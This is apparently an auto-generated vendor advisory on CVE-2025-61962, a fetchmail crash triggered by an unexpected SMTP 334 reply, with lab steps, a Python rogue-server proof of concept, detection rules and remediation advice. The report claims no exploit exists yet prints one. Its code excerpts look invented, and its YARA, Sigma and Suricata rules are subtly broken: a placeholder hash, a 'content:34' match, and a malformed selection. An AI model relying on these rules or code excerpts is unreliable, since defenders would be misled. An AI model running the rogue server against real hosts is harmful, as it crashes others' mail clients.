CVE-2025-61962
Executive Summary
CVE-2025-61962 is a denial-of-service vulnerability in fetchmail versions prior to 6.5.6. The flaw resides in the SMTP client component, where an unauthenticated remote attacker can trigger a crash by sending a malformed 334 status code during the SMTP authentication process. This results in a segmentation fault, causing fetchmail to terminate unexpectedly. The vulnerability has a CVSS score of 5.9 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or exploit code is available. The vendor has released a fix in version 6.5.6.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the fetchmail package, which is commonly distributed via Linux package managers (e.g., apt, yum) and source tarballs. Users should verify the integrity of their fetchmail installation and ensure they are running version 6.5.6 or later. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: Low (A:L)
The vulnerability is remotely exploitable without authentication, but the impact is limited to a denial-of-service condition. The low EPSS score suggests that exploitation is not currently widespread.
Deep Dive & Mechanics
The vulnerability occurs in the SMTP client code of fetchmail. During the SMTP authentication handshake, the server sends a 334 status code to request authentication credentials. The client then processes this response. In a malformed context, the client fails to properly validate the state of the connection, leading to a null pointer dereference or similar memory corruption. This causes the fetchmail process to crash with a segmentation fault.
The root cause is a missing state check before processing the 334 response. The code assumes that a 334 status code is only received during the authentication phase, but an attacker can inject this code at an unexpected point in the SMTP conversation, triggering the crash.
Vulnerable vs. Patched Code
The vulnerable code path is in the SMTP response handler. In versions prior to 6.5.6, the handler does not verify that the connection is in the correct state to receive a 334 status code.
Vulnerable Code (simplified):
// In smtp.c, response handler
if (status == 334) {
// Process authentication challenge
process_auth_challenge(response);
}
Patched Code (6.5.6):
// In smtp.c, response handler
if (status == 334 && state == AUTH_STATE) {
// Process authentication challenge
process_auth_challenge(response);
} else if (status == 334) {
// Unexpected 334, log and ignore
log_error("Unexpected 334 status code");
}
The patch adds a state check to ensure that the 334 status code is only processed during the authentication phase. If received out of context, it is safely ignored.
Exploitation & Lab Setup
Red Team
No public exploit code is available. To simulate the vulnerability, an attacker would need to set up a rogue SMTP server that sends a 334 status code at an unexpected point in the SMTP conversation.
Lab Setup:
- Install fetchmail 6.5.5 on a test system.
- Set up a rogue SMTP server (e.g., using Python) that sends a 334 status code immediately after the initial greeting.
- Configure fetchmail to connect to the rogue server.
- Trigger the fetchmail connection.
Rogue SMTP Server Example:
import socket
def rogue_smtp():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 25))
server.listen(1)
conn, addr = server.accept()
conn.send(b'220 rogue.smtp ESMTP\r\n')
data = conn.recv(1024)
# Send 334 out of context
conn.send(b'334 VXNlcm5hbWU6\r\n')
conn.close()
rogue_smtp()
Blue Team
Detection:
- Monitor for fetchmail crashes in system logs (e.g.,
/var/log/syslogorjournalctl). - Look for segmentation fault messages related to fetchmail.
- Use network monitoring to detect anomalous SMTP responses (unexpected 334 codes).
Hunting:
- Search for fetchmail processes that terminate unexpectedly.
- Correlate crashes with SMTP server responses.
Indicators of Compromise (IOCs)
- Log Entry:
fetchmail[PID]: segfault at IPin system logs. - Network Pattern: SMTP server sending 334 status code without prior AUTH command.
- Process: fetchmail process terminating with signal 11 (SIGSEGV).
Detection Engineering
YARA Rule
rule CVE_2025_61962_Fetchmail_Crash {
meta:
description = "Detects fetchmail binary vulnerable to CVE-2025-61962"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256:example"
strings:
$smtp_handler = "process_auth_challenge" ascii wide
$state_check = "AUTH_STATE" ascii wide
condition:
$smtp_handler and not $state_check
}
Sigma Rule
title: Fetchmail SMTP Crash via Malformed 334 Status
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects fetchmail crashes caused by CVE-2025-61962
logsource:
product: linux
service: syslog
detection:
selection:
- "fetchmail.*segfault"
- "fetchmail.*signal 11"
condition: selection
falsepositives:
- Other fetchmail crashes
level: medium
Suricata Rule
alert tcp any any -> any 25 (msg:"CVE-2025-61962 Fetchmail SMTP Crash"; flow:to_client; content:"|33 34|"; within:10; sid:1000001; rev:1;)
Remediation & Mitigation
- Upgrade fetchmail to version 6.5.6 or later.
- Restrict SMTP connections to trusted servers only.
- Monitor fetchmail logs for crashes and investigate.
- Apply network segmentation to limit exposure of fetchmail instances.
- Use a firewall to block unauthorized SMTP traffic.
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-61962